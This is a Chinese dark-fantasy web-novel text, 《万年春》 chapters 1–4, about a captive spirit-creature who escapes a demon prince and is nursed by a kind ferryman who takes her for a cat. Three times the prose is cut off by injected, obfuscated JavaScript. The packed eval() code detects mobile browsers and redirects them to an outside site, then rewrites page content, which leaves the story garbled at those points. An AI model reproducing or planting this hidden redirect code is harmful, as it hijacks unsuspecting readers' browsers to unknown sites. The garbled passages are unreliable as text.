《万年春》 1. 死遁 大漠平沙,明月高悬,照得魔域之东的濯鳞宫一片死寂。 “不好了!”领头的侍女惊呼出声,却没了下文,颤抖的尾音骤然收紧,倒像是看到了什么可怕的东西。 什么不好了?管事慢悠悠走上前,手里却一刻不落地抽出卷在袖中的龙骨鞭,目光森冷地盯着她:“大呼小叫,成何体统。你怕不是皮痒痒了?” 只见那侍女依然目光发直地盯着前面,他循着视线望去——笼子空了。 “那只朏朏不见了!” 人群里一声刺耳的尖叫打破了死寂,像颗石子投入水中,原本井然有序的两列侍女忽而散开,不可置信地去看空掉的笼子。 每个人都很清楚,这笼子里的朏朏要是丢了,他们的小命也就没了。 总管舔舔发冷的下唇,干涩的嗓子挤出声音:“快,快去禀告二殿下!” 一时之间,燕青苑突然空了。 只除了一个,要是仔细看,不难发现她就是刚刚说出朏朏不见的侍女。 她挥手捏了个诀,灵力波动间,被隐藏的法阵重新出现,层层笼罩的屏障流动着垂丝金龙藤的印记,法阵里咬牙蜷缩着的朏朏腾得站起来,浑身战栗,耳朵贴着脑袋,尾巴下垂,一副警惕模样。 幸好方才众人乱了心神才没有仔细查看这里的结界,不然就会发现阵法还在,朏朏也并没有逃走。 “还记得昨天和你说的吗?”清冽沉稳的声音不复方才惊惧,让人听了只觉得安心。 云意记得,面前的女子昨天也是扮作侍女,不过用的是另一副模样,在送饭的时候和她传心音,告诉她今天这个时候不能出声,否则就没有出去的机会了。 现下她见对方运转灵力,不过须臾,笼子被爆开了。 四只爪子试探又孤注一掷地踩在原本遍布结界的地上,平安无事。 她真的从这个困了她三百年的地方出来了,没有任何阻碍。 “快走吧,朝东边跑,那里的守卫每两个时辰换一次岗,现下你还有一炷香的时间。” 云意想问什么,但又怕再也没有跑出去的机会,只回头看了一眼那个笼子,原来这么小,却困了她三百年。 白色的身影风一般窜出去,留在原地的侍女望着它离开的方向,顷刻间化成一缕青烟消失了。 濯鳞宫主殿,棋盘上黑子想诱敌深入,却落入白子的陷阱,一时间攻守逆转。 执黑子的手透着股冷白的骨感,悬在半空正思忖着下在哪,毫无防备地,绣着绿瘦蛇暗纹的衣袖骤然垂落,黑色棋子翻腾地滚动,几下就毁乱整个棋局。 纪明渊用力捂住胸口,一口腥甜涌上喉间,玄色的棋盘被瞬间染红。 纪明渊目光一沉意识到什么,几个呼吸间就穿过殿宇行廊,来到濯鳞宫西——燕青苑的地牢。 说是地牢其实也不是,准确地来讲是垂丝金龙藤芯做的笼子。 放在平时,没有任何魔物敢靠近这里,只因垂丝金龙藤会在被触碰到的瞬间便长满带着剧毒的尖刺。 而此刻,这笼子却是被破开了。 那只朏朏也不知所踪。 “殿……殿下,方才小的们巡视的时候才瞧见笼子……笼子空了,可这、这笼子明明刚刚还好好的啊,小的们自知罪该万死,但还恳请您饶小的们一命!” 门口折返的总管本是突然想起来还未查看法阵情况,结果一回来就看见笼子在二殿下面前已经碎了,顿时魂都吓得飞了。 心口的阵法反噬如藤蔓缠紧般无法呼吸,但他此刻却只想笑。 跑?它怎么会觉得自己能跑掉呢? “它有帮手。” “你们中的谁,有这个本事去帮它?不妨站出来让我见识一下,我饶他不死。” 和煦平静的语气听在众人耳朵里简直是悬在颈上的铡刀,“小的怎么敢呐、小的怎么敢……” “吵死了。” 纪明渊俯视着这群蝼蚁,目光泛冷。 忽而像看见了什么有意思的东西,牵动嘴角:“知道这是什么吗?” 领头的管事颤抖着抬起头去看,定睛辨认,瞬时间魂魄像是抽离出身体:“殿下、殿下,您饶了我们吧!” 纪明渊指尖捏着一截笼子爆开后滚落地上的残枝,满脸笑意:“不想试试吗?” “可是我想。” 冷着脸说完后半句,他将这截垂丝金龙藤芯随手抛在人群中,便背过身离开,走得慢慢悠悠。 而后听到一声惨叫,是一个侍女被扎中了,不一会儿,她的身体迅速枯萎,露出的白骨长出藤蔓,开出一朵朵垂丝金龙藤花,白色的花瓣裹着朱红的花蕊,一朵挨一朵,妖艳、昳丽。 众人吓得四散而逃,却被术法屏障牢牢挡住。 无数根深红色的长条触须从花尖迅速伸长,由近及远,将所有在挣扎的人活活勒死。 果不其然,一声惨叫之后就会有无数声此起彼伏。 纪明渊闭上眼睛,聆听这悦耳的痛声。 “殿下,夫人有请。” 恭敬的声音从门口传来,他烦躁地睁开眼睛:“传令下去,即刻起,全宫戒严,任何活物不得进出。” “你还要胡闹到什么时候?”站在素心兰后打理枝叶的妇人青丝云鬓,眼角没有一丝皱纹,手里的剪刀却一改往常温和,直接掐断了一枝旁出的花叶。 “不过是个畜生罢了,平日里你玩物丧志,为娘的可有多说一句?如今跑了便跑了,还要追上去,就如此放不下?” 跪着的人不言语,冷舒华放下剪刀,清脆的碰撞不掩愠怒:“渊儿,你总是这样,当断不断,如何能叫人放心?” 纪明渊抬头对上一双强硬的眼睛,他听到她说:“你不能有弱点。” 云意贴在石墙上躲避巡逻士兵,从燕青苑一路向东,守卫果然薄弱,可是总有说不上来的怪异萦绕在心头,似乎一切都进行得太过容易了。 “殿下有令,关闭城门,加紧巡防!” 号令一经下达,换岗的守卫成倍增长,瞬间占据整个宫门。 云意心一紧,趁下一批士兵经过这个路口前躲进了一旁的宫殿。 “母妃,您这是什么意思?” “既然你舍不了,那就只能我们来帮你了。” 纪明渊带着一种不好的预感缓缓起身,眼睛一落不落地盯着面前被他称作母亲的人,目光逐渐冷下来。 冷舒华缓缓补充道:“我已经命大祭司带人追上去了。” 云意被关着的这些年,除了被法术召唤忍受纪明渊突如其来的发疯以外,几乎从没离开过燕青苑,这是它第一次踏足濯鳞宫除那以外的地方。 这所宫殿竟是长得与燕青苑截然不同,内里的长廊似乎怎么走也走不尽,也没有旁的房间,地上萦绕着一望无际的雾气,倒像是从前在霍山时看过的云海。 “前面是风息海,你再往前一步就会被吸进去,粉身碎骨已是最好的下场,更多的都已经魂散六境,不知魂归何处了。” 听到这话,云意止住脚步,慢慢回头,魔族大祭司赫连渊站在她身后的不远处,还带着一群看上去训练有素的士兵。 这场景不禁让她想起来自己被抓的时候,也是他带兵,突然出现在她身后,仿佛自己早已经是他的猎物,而他狩猎许久只为了这一刻——让她认清楚自己走投无路,只能任他处置。 他们是什么时候出现在她身后的已经不再重要,重要的是,她似乎怎样选都是死路一条。 传言中风息海乃是魔界、人间和灵界的交界处,三股灵力对冲导致风行万里,云海翻涌,深不见底,还从未听说过能有魔或仙从风息海掉下去可以平安活下来的先例。那大祭司说的也不算危言耸听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025348|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只不过让云意惊讶的是,濯鳞宫竟是和风息海相连,离人间和灵界都那么近。 原来,她离家并不是很远。 纪明渊从不肯向她透露一星半点濯鳞宫的位置,以至于她从不知自己竟然处在三界交汇处。 如今知道了却是快要死了。 云意望着他那和纪明渊相似的眉眼——阴沉、狠厉,像看一块砧板上的肉一样看着她,真不愧是师徒,连令人讨厌的眼睛都长得一样。 三百年前,赫连渊将她从灵界霍山捉走,当做纪明渊第一次驯服魔族圣物绿瘦蛇的奖励。 她还记得第一次见到纪明渊时的表情,冰冷的眼神里全是厌恶,不见一丝喜悦。但大祭司全然没有因为自己的奖品不受欢迎而觉得被下面子,相反地,他表现得出奇快慰,好像他不喜欢这份奖励才是对的。 从头至尾没有过问作为奖励的云意是否愿意,她最后当然还是被纪明渊带走了,被锁进那个恐怖的笼子里,开始了她饱受折磨的三百年。 “母妃,我不喜欢它,你们为什么还要杀它?杀了小白还不够吗?” 小白是纪明渊的第一只猫,通身雪白,唯独耳朵是粉红的,十分活泼好动,最爱捣弄他从凡间带回来的拨浪鼓,他少时读书时耳边常有咚咚咚的声响,他知道,那是小白在陪他。 后来某个冬天的早晨,他在房间门口发现了小白的尸体,沾满血的拨浪鼓就在一旁静悄悄躺着。 大祭司和冷舒华就站在不远处,失望地看着纪明渊表现出的伤心样子。 从此以后,纪明渊便变得沉默寡言,专心修炼,再不谈起小白。 直到赫连渊送来那只朏朏。 它真的,太像小白了。 他努力表现得不喜欢、不感兴趣,才留下它在自己身边。现在连这样小小的权利也要被剥夺了吗? “母亲,我会亲手杀它,不劳你们二位费心。” 说完,人就消失了。 “来不及了。”这声短暂的叹息还没被听到就已经随风消散。 “死在我手里,至少会留个全尸。” 赫连渊的诱哄语气仿佛在说什么令人心驰神往的好话,只让云意想发笑。 全尸?届时我都死了,我还怕缺胳膊少腿吗? 赫连渊背后的殿门突然被一股巨大的灵力冲开,门口守着的随侍倒下一大片。 “你还是来了。”俨然是一副十足失望的模样,黑沉的眼睛盯着来人。 “我自己动手。”落下这么一句,便越过赫连渊向云意走去,“跟我回去。” 不要。 云意清楚地听到自己心里的声音。 他进一步,它退两步。 “你身后的,是风息海。” 他停下,冰冷的声音像是警告。 云意感受到脚边已经没路了,底下狂风大作,像是要把她吸进去一般,她有点站不稳了。 从纪明渊的视角看去,云雾翻腾处,小小的一只快要被那无尽深渊吞噬,就像有什么擒住了他的心脏,只要它退一下,他就痛一下。 “回来。我再说最后一次,回来。” 惯常冷冽的声音竟然会有点抖,不过这已经不是云意为了活命而要去特别留心的了。 她扒住崖边的爪子慢慢松开,云意感觉自己整个身体都轻了,然后朝着风息海跳下去,弱小的身体被疾风卷起的漩涡瞬间吞噬,安静得像是从没来过一般。 身体不知不觉追出来几步,踩到崖边,纪明渊的嗓子像堵着什么,苦涩又紧实。 他盯着那个漩涡里它消失的那个点,有种落空的感觉。 赫连渊慢慢跟上来,扯动嘴角:“还以为你会救下它。” 纪明渊的脸上又重新写满麻木冰冷:“它想死,我为何拦?本也是要抓回去杀掉的,这样的死法不脏手,挺好。” 2. 初遇 【愿尔无灾无病,长乐无忧。】 ——崇祯三年,腊月癸巳,微雨 月上枝头,才初春就有虫鸣蛰伏在椿江畔。 陆熙迟捂紧衣服里的风腌田鼠肉脯,家里的小猫已经连着好几天不吃不喝,每次看到碗里的水和食物还和出去时一样,他就心急如焚。 今天坐船的客人谈起家里的猫,说有些猫就是不爱吃鱼,更爱吃田鼠,侃侃而谈地分析这与它们种族的捕猎天性有关。 他想起他家的猫,雪玉可爱,安静内敛,看起来并不像是会喜欢吃老鼠的模样。但死马当活马医,他和那人买了一包风腌田鼠肉脯。 推开柴门,穿过院子,窗户黑漆漆的,小心翼翼地进屋,房间里静悄悄的,没有一点声响。 不安涌上心头,陆熙迟点燃烛台,豆大的火苗颤颤巍巍,跟着陆熙迟一路行进到卧房,地上的水和小鱼干依然完好无损。 他深吸了一口气,“椿江。” 声音很轻,怕惊扰了什么,又怕没惊扰到什么。 陆熙迟举着灯按例巡视了周围一圈,搜索无果后把灯放在桌上,然后趴在地上朝柜子底看去,果然有一团雪白缩在角落。 他松口气,还在就好。 “椿江,不想吃小鱼干,喜欢吃田鼠吗?我带了田鼠肉脯回来。”说罢,他努力超前举了举包着油纸的肉脯,积极地展示他今天带回来的新食物。 邻家养橘猫的张叔说,多向它们表现自己优秀的捕猎能力可以让猫对自己增长信任和信心。 但显然这对他家小猫来说是没有用的。 昏暗的光线里依稀可以看到,它冷淡地瞥了一眼之后就扭开了头,是不感兴趣的样子。 陆熙迟尽管有些失落,但更多的还是庆幸:即使以后它想要离开,也不怕被坏人用两根小鱼干就轻易骗走了。 它不能再被欺负了。 椿江是他半个月前在椿江渡口捡到的。 陆熙迟以载人行渡为生,虽然宿州的河水冬日不结冰,但客人总要少点,天黑得早,他戌时就下工了。 那天他将船停靠在岸,待系好缰绳,准备往回走时却发现一团白色的东西挂在船头堆叠的水草处。 他捡起枯枝轻轻戳了戳——是只小动物。 来不及想其他,陆熙迟立即转身回船上用桨把它捞上来。 雪白的尾巴没有活气地垂成长长一条,湿漉漉的毛贴在身上,还混着血色和杂草,眼睛也睁不开,好小的一只。 冬日的江水冰冷刺骨,不知道在水里泡了多久,不敢用力地碰了碰,指尖碰到的那一小团地方没有什么回弹。 从船舱内取出一个布包,这里平常放着他在船里备用的衣裳。他把布衣抖开,小心避开大的伤口,包住全身后还剩了好长一截,他折起来稳定住,托在臂弯里,轻得好似一片雪花。 声音不由自主地软下来,“我带你回家治伤,好吗?” 它的眼睛紧闭着,却皱着眉头,粉红的耳根淡得像要褪色,陆熙迟低下头,耳朵靠近它的心跳,那里此时在做生命最后的颤动。 到家之后,陆熙迟仔细清理它的身体,才发现毛遮住的地方皮肉都被撕裂了,似乎连骨头都隐约可以窥见。 小家伙发出一些断断续续的气声,几不可闻。 倒吸一口凉气,他第一次有了名为手足无措的情绪,陆熙迟无法想象,这么弱小的身躯是怎么承受住这么多像鞭痕又像刀口的伤痛。 他当下将碾碎的止血草药全部敷满伤口,用布把它包好,拿上所有的积蓄带它去镇上看大夫。 “没救了。” 陈淮生瞥一眼躺在桌子上的不知道是狸猫还是什么的白毛小家伙,失血过多,呼吸微弱,迅速给出诊断。 陆熙迟闻言,刚还在因为心急喘气不匀的呼吸顿时停住,还扶在褓衣上的手变得僵直,他看见自己的脑海中一片空白,嗓子却挤出声音:“您还没看呢……” 还不等他说完,陈淮生就合上装药的抽屉,拿起台上的竹夹板,走到躺着的小家伙的另一侧,挑起包着的衣服,露出盖着草药的伤口,轻轻掀起其中一块混着血水的肉。 “你看这伤,都进入到肺腑里面了。” “还有这块,腰带着腿,伤得这么重,不死也得残。” “可你是大夫!”陆熙迟不忍再听下去,难过又着急,平生第一次打断别人说话。 “就算有那种可以活死人、肉白骨的大夫在这儿,也救不了它。” “听天由命吧。” 最后一声宣判下答,宿州下起了暴雨。 “你还没治呢。”陆熙迟冷静下来,重新看向小家伙那双闭上的眼睛,摸出怀里的钱袋,“我把钱都放在这儿,有能用上的药材您尽管用,需要什么草药我去采,只要您能救它就行。” 陈淮生看向他放在桌上的钱袋,布料应该是和他身上穿的青灰色麻布出自同一匹,缝了梨花纹样,装得鼓鼓囊囊,打开一看,铜板碎银都有,应是攒了很久。 陈淮生长舒一口气,看了眼昏迷不醒的小家伙,确实漂亮,死了可惜。 “我先给它退烧,伤口的话……看用参片吊着能不能坚持到把这些口子缝完。其余的,只能尽人事,听天命了。” 陆熙迟知道这已是陈大夫能做的所有,他作了个长揖。 “是猫吧?” “没见过这样的猫啊?尾巴尖尖的,脖子还有长长的毛。我家猫的尾巴就是圆的” “伤得好严重啊,是不是被它主人打的?” “我爹经常拿着棍子打夜里上门偷吃的野猫……” 陆熙迟昨夜一直守着小家伙,提心吊胆了一整晚,烧总算退下去了,今晨才得空抽身回去拿些吃食。 还没等看见它,就听见一群小孩围在前面叽叽喳喳说着什么,只有几个关于“猫”的字眼听得特别明显。 “你们在干嘛呢?” “我们在说它是不是猫。”一个女孩看见陆熙迟过来,让出个空,方便他来辨认。 是猫吗? 陆熙迟站在人群里望着它,小小的一只侧躺在褥子上,身体虽然被纱布缠住,仍能看见背在小幅度的起伏,脸上的表情也不似昨晚那般痛苦,他稍稍松口气。 “它睡着了,哥哥这里有糖,我们拿着糖到院子里去玩儿,好不好啊?” 刚刚还围得水泄不通的小孩拿了糖后,决定采纳他的提议,一哄而出。 煎好的汤药散发着苦味,陆熙迟坐在案几旁,隔一会儿就摸一次药碗,手边还放着一块梨膏糖,底下垫了张油纸。 怕这药太烫,也怕药太苦。 经过一晚上的救治,小家伙身上被缠满了绷带,没了毛的修饰,显得它更瘦了,只有两个巴掌那么大。 还真有点像猫,耳朵尖尖的,爪子还有梅花肉垫,通体雪白,只耳朵和眼尾有几撮淡红色的毛,真漂亮。 陆熙迟注意到床上的小家伙突然开始剧烈颤抖,两瓣嘴巴牵动脸颊的长毛一抽一抽地收缩,爪子也跟着小幅度挥动,好像要推开什么。 他慌忙地不知所措:“怎么了?做噩梦了吗?” 云意在睡梦中突然感觉先是一股凉意从四肢蔓延开来,之后就像被蛇缠绕住全身,窒息和刺痛紧紧桎梏住心脏,被毒蛇啃咬的冰冷和僵苦迅速爬向四肢百骸。 这熟悉的感觉告诉云意:藤毒发作了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025349|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她刚被抓到濯鳞宫的时候,涉世未深,而纪明渊又擅长伪装,因此她对纪明渊还抱有几分不切实际的幻想。 “你上次说等过几天就放我回家,还作数吗?” “当然。”纪明渊放下一个小碗,里面装着白色乳浆。 “这个是我命宫里最好的厨娘熬制的玉颂浆,尝尝吗?” 她低头过去嗅嗅,奶白色的汁液散发出温和又不黏腻的甜香,云意踌躇一会儿,故作自然地走开。 “我以前有只猫,也是白色的,很粘人。” 云意止住步子,好奇地问:“它现在在哪里呢?” “已经不在很久了。” 感受到纪明渊的伤感,云意慢慢靠近他,用头轻轻蹭了蹭他搭在桌上的手,轻轻安抚他。 那只手停顿一瞬,没有摸那颗毛茸茸的头,而是拿起那个小碗,凑到云意嘴边,就像平时给狸奴喂食一样。 她想了想,像猫那样舔了舔。 白色的乳汁瞬间变成了绿色泛黑的汤药。 云意不可置信地盯着那碗里变色的水,先是浑身泛冷,然后胃里就像被灼烧般,传来它招架不住的剧痛,它从桌上滚到地上,汗印一层覆盖一层。 “你喝下去的是藤毒,以后每个月都会发作一次。” “为、为什么……”云意蜷缩成一团,冷汗涔涔,艰难地吐出几个只有气音的字。 一改先前和气态度,纪明渊没有温度地看着它,“只有我这里有解药,所以,别想着跑。” 回忆里的窒息与疼痛快要淹没她,云意努力睁开眼睛,一张男人的脸在模糊中越来越清晰。 “刚刚做噩梦了?不怕不怕。” 一只手突然落到她的背上,云意从耳朵到脖子的毛全部都被激得竖起来,她想要站起来,可是全身都使不上劲。 “别动别动,等会儿伤口裂开了。” 突如其来的炸毛吓到了陆熙迟,他没养过小动物,更不知道怎么养猫,他不知道怎么安抚它的情绪,手足无措下顺应本能地轻拍它不安的背,小心地避开了伤处,一下一下,控制着力道。 云意忍耐着浑身不适,极力扮演一具承受抚摸的安静尸体。 他是谁?纪明渊的手下吗?但这个男人没有灵力,只是个凡人。 纪明渊应是没有凡人下属的吧。 云意侥幸地这么想着,毕竟她也没料到自己跳下风息海还能活下来。 肚子里的灼烧感还在继续,云意没有什么力气地闭上眼睛。男人以为自己的安抚起作用了,十分高兴地坚持着自己手上的运作。 等云意再次睁开眼睛的时候,陆熙迟刚好把复煎的药端过来,轻声道:“醒啦!” 小猫没有反应,眼睛看着桌上的梨膏糖缓慢眨动。 陆熙迟把药碗放下,拿过梨膏糖放在手上,轻轻靠过去方便它嗅气味:“想尝尝吗?” 一团黑乎乎的东西凑近她的鼻子,云意还没来得及去想这是什么,就发现胃里的灼烧感居然消失了。 从前藤毒发作时,全身会疼个几天,才能吃到纪明渊给的解药。 今天不知道怎么回事,这么快就不疼了。 樱粉的唇瓣突然被塞进一角冰凉,云意怔住,是甜的。 “好吃吗?” 一整颗糖都进了她的嘴巴里。 没有变得苦涩,也没有灼伤她的喉咙,只是甜,裹着淡淡的梨花清香。 云意这才开始仔细看他,长眉入鬓,身材颀长,肤白胜雪,穿了一身青色衣衫,袖口处干练地收拢起来,暗灰色衣带边缘还有些毛边。 凡人都长这样吗?比她见过的许多魔界和灵界的人还要好看。 3. 逃跑 【椿江大病初愈,余心甚喜,然其近来常匿于柜底,惜其腿伤未愈,令人心忧。】 ——崇祯三年,腊月癸卯,暄和景明 “我叫陆熙迟,日光那个熙,迟是晚到的意思。”推测到床上的小猫应该是在打量他,陆熙迟直了直腰,认真地做了自我介绍。 春日迟迟。春景熙熙。 阿娘最喜欢的诗。 阿娘……云意已经很久、很久没有想过家人了。有些东西她以为早已经深埋心底,但总能被轻易剖出,赤裸裸地摆在她无法回避的地方。 他当然是等不到猫的回答的,只能干巴巴地自己说完想了一晚上的话:“你想有个新名字吗?” 昨天晚上因着救它心切还没感觉出来异样,直到刚刚想喊它喝药的时候,陆熙迟才意识到一个非常严峻的问题:他不知道该管它叫什么,话总是说得没头没尾,十分没有对象感。 这种浑身不自在让他刚刚除了在担忧之余安抚它,同时也在思考别的事:怎么取一个能让人眼前一亮的名字。 “绵绵?”太普通了。 “阿雪——”不行,隔两条街有个姑娘好似就叫这个名,万一被人听去,误会了就麻烦了。 “尺玉霄飞练!” …… 为什么每个名字过一遍嘴之后都不太合适,陆熙迟把这归咎于没得到猫的肯定。 只要得到了猫的首肯,他相信一切都会水到渠成。 经过刚才缜密的思考,他寻得一良名,现在只等猫点头了:“我虽不知你之前的主人如何待你,但定是不大好的。而今我有幸在椿江水畔可以遇见你,便是我们新的开始,可否唤你为椿江?取川流不息,永远向前之意。” 他很满意自己的说辞,眼睛一眨不眨地盯着小猫,看它的反应。 云意不敢置信自己听到了什么,瞳孔呆滞了一会儿,没有知觉地散开,待回过神来,只觉得族长说得十分可信:凡人果然城府极深,机心深阻——自己用那么好听的名字,却给别人取那样的名字。 小猫没被束缚的尾尖朝下弯,眼睛也眯起来,挤出两个毛毛的肉疙瘩,虽然他从没养过猫,但也能感知到几分不赞同的反抗。 被拒绝了。 “我们可否先用着这个,以后有好的再改?” “椿江,出来吧,里面冷。” 云意烦躁地往后缩了缩,伤好转的这些天这家伙十分烦人,它去哪儿他跟到哪儿。 手里还必须拿个碗,里面装着挂着细闪油光的黑长条,他非要把那个有着油腻腥臭气味的东西给它吃。 而且朏朏云意这些天意识到,这个凡人十分没有见识地将它认作了狸猫。 还很强硬地跟在她后面叫椿江,无视一切不理睬和白眼。 她找了一圈才找到一个他追不过来的地方寻清净。 她长长地呼出一口气,闭上眼睛,调动气息探查灵海,今天下午她发现里面不似以前乌黑浑浊,气息干净清透,好像被打扫干净了一样。 运转周天,灵力皆可以被悉数调用,心下却忍不住思忖:许是风息海的灵力冲撞让她因祸得福,解了这三百年来无法施展灵力的禁制。 陆熙迟从第一天等到现在没听到它叫,十分担忧:“怎么不出声儿呢……” “喵喵喵、喵喵喵……” 云意睁开圆圆的眼睛,诧异地看向声音来源,眼皮缓慢地放下又抬起,做了一个决定,对大家都好的决定。 “熙迟,在家吗?” 院外传来呼唤,云意记得,那是隔壁张叔的声音。 “张叔,您直接进来就行!” 踉踉跄跄爬起来,陆熙迟拍拍手去到院子里,“我去一下,你等我。” “你家椿江还是不肯吃饭喝水?” “嗯,而且我还没听它说过话。” 陆熙迟郑重宣布自己的新发现。 “有的猫就是这样,刚到一个环境不熟悉,就不愿意叫,也不愿意吃饭喝水,都是正常的。” “可是它伤还没好。” 云意闻言低头看看腿和腰,伤口因为怕他起疑心不敢一下子恢复太完好,但也没那么疼了。 “你信我的,不用太操心去管。先让它适应适应自己住的地方,放点衣服在它周围,或者直接抱抱它,熟悉你的气味就愿意亲近你了。” 云意贴着墙不知道该怎么躲得更远点,向左向右都会离外界更进一步,她不想被人抱。 “明日打春,你可有时间来帮我?” 张叔没有儿子,往年打春都是他帮着一起的,可是今年……他回头看了眼屋里泛黄的灯光。 “别那么操心了,猫又不会跑,你把水和粮放在那儿,饿了自会去吃,我家金相不就如此?” “明天要来啊,你嫂子专门给你蒸了春糕。” 答应下来,这就送别张叔了。 脚步声逐渐逼近,云意盯着他脚部的动向,警惕他过来抱自己。 两只脚在柜子前停留了一会儿,柜门被打开,不知道捣鼓着什么,云意仔细听那动静,像是布料摩挲的声响。 “这两天没有客人的时候,闲来无事,我就给你缝了个窝。也不知道舒不舒服,大小合不合适。” 缝里的脚突然不见了,隔了一会儿,一个圆团塞进来,上下空间还有富余,将将够她爬进去。 这人不知道从哪儿收集的各色碎花料子,拼缝在一起,里面还塞了棉花,撑得鼓鼓的,它伸手碰了一下——很软,很弹。 里面还铺了很多看起来很软的布料。 陆熙迟焦灼地站着,因为看不到里面的状况,也不知道它喜不喜欢,但他也不能总透过那个缝去看它,它会不自在的。 也不能一直站在旁边看着,椿江不喜他离它太近太久。 无奈之下,他坐到桌子旁,开始了每日记事,笔毛舔墨之后郑重写下:椿江不喜风腌田鼠肉脯。 自从遇到小猫以后,这个本子就几乎变成了养椿江须仔细留意的事宜大全: 椿江喜静,不喜聒噪,少言。 椿江不爱舔毛,注意早晚清洁。 椿江可以自己碰水,不喜触碰。 椿江似不能言,须多鼓励…… 陆熙迟正沉浸在回忆陪伴小猫的幸福与感慨之中,突然听见一阵摩擦声。 柜子底下缓缓长出了半边空荡荡的圆弧,熟悉的碎花布包边圆篮露出的面积越来越大——猫窝被赶出来了。 原本被稳定而有力推出的猫窝在陆熙迟呆滞的目光里干涩地停止了行进,只留下大半边身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025350|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外边赤裸裸地和陆熙迟对视。 云意觉得这个大东西挡在这里,能削弱一些来自外界的冷意,比如现在,外面的光灭了,接着想起一些窸窸窣窣躺下的声音。 他睡了。 估计很不耐烦自己,也无法忍受自己的好意被拒绝。 云意回到墙根,幸好自己明天就要走了,也不用再给别人造成困扰,他能摆脱她了。 她默默计划着出走时间,自己要去哪儿,如何生活……直到困意涌来。 所以也没听到,在陆熙迟思索良久之后小心翼翼的询问——“明天给你做个新窝,好不好?” 清晨,天还没亮,陆熙迟就披上衣服轻轻推门出去了,走之前还是不放心地趴下看了一眼小猫的状态,因为有猫窝的遮挡,看得不太真切,但是这又不宜挪动,他还抱了最后一丝幻想:万一小猫没那么讨厌这个猫窝呢,只是觉得这么放能更令它心安。 而且和小猫相处的经验告诉他,不要随意改变它周围东西的位置,这样会让它不习惯。 “椿江再见,等我回家。” 宿州打春习俗和其他地方不太一样,像宿州以北的地方多是由当地官员主持,将土牛里塞满五谷然后用财杖鞭击打;以南多是民间的欢庆活动,小商贩会摆摊卖“春幡”“雪柳”“春牛”,夜晚还会有集市,十分热闹。 宿州每逢立春会赶牛去田里,供上句芒,烧香祈福,愿芒神保佑未来一年风调雨顺、五谷丰登,因此家家户户会提前准备好春糕春饼,以便供奉。 陆熙迟去张叔家拉了牛就去地里,按照习俗,得先让牛将未播种的地踩一遍,然后将地里面的杂草全部除净,最后才能摆上芒神像,以示虔诚。 做完这些已是晌午,张叔热情地邀请陆熙迟留在他那里用饭,还拿出了一匹做春衣的料子,说让他好好做身衣服。 素色的布,摸着也很柔软暖和,陆熙迟想起了家中的小猫,他已经很久没摸过它了。 拆掉纱布以后,小猫可以小幅度地自由行动了就再也没让陆熙迟靠近它。 它明明离他这么近,又那么远。 “张叔,我给你钱。” “说什么呢,这就是特地给你留的。这不快要暖和了,你也到了讨媳妇的年纪,要好好捯饬一下自己。这小伙子长了那么一张帅气的脸,就应该好好打扮打扮嘛。” 张叔坚决不肯收他的钱,陆熙迟无奈之下,只能以后再寻个机会去报答张叔了。 至于这布料……做成窝它会喜欢吗? 是不是昨天那个花纹太艳丽了,所以椿江不太喜欢。 抱着布匹,婉拒了张叔请吃饭的好意,飞快地回了家。 家里还是很安静,猫窝还是那样摆在柜子缝里露出一大截,猫还没起床吗? 他矮下身子去看——猫不见了。 柜子底下空空如也。 急忙爬去床底下看,也没有。 掀开被子,没有一根白毛存在过的痕迹。 桌子边上的窗户是合上的,门是他刚刚打开的,各种柜台底下抽屉里也没有。 跑到院子里,只有一棵刚刚挂绿叶的梨树和半高的围墙和篱笆。 都没有他的猫的踪影。 有和煦阳光的立春,他的猫不见了。 4. 重逢 【今首闻猫神祠,深问方知香火寂寥久矣。恐猫神见轻,遂奉香以敬上。及至书赤帛时,神思所凝,唯“伏愿康宁”而已】 ——崇祯四年,腊月己未,大风 云意醒来后巡视一圈屋子,发现陆熙迟已经出门了,竟是比平时还要早。 如果说昨晚云意还对陆熙迟的态度存在侥幸心理,但现在她想陆熙迟一定是生气了。 屋子里透进满地晨光,黄白的光斑延伸到这个为她亲手缝的窝上,针脚细密的拼合处不同的碎花交织缠绕,好像缝隙里鲜花丛生。 云意伸出爪子,棉花填满的地方慢慢凹下去,她收了力道,那里便迅速回弹。 陆熙迟没有听那个张叔的往里放衣服,他只放了一些柔软的布料。 她很想亲口说抱歉,但她既做不到向他坦白身份,也无法开口承认自己不是一只猫。 长久的沉默已经让陆熙迟起了疑心,如果继续待在这里,她令人起疑的地方只会越来越多。 虽然早就决定不会久留,但云意还是会忍不住望着窗外的梨花树去想:还有多久才开花呢? 应该是快了吧,毕竟春风如此温暖。 善良的凡人也应该拥有一个没有烦恼的春天。 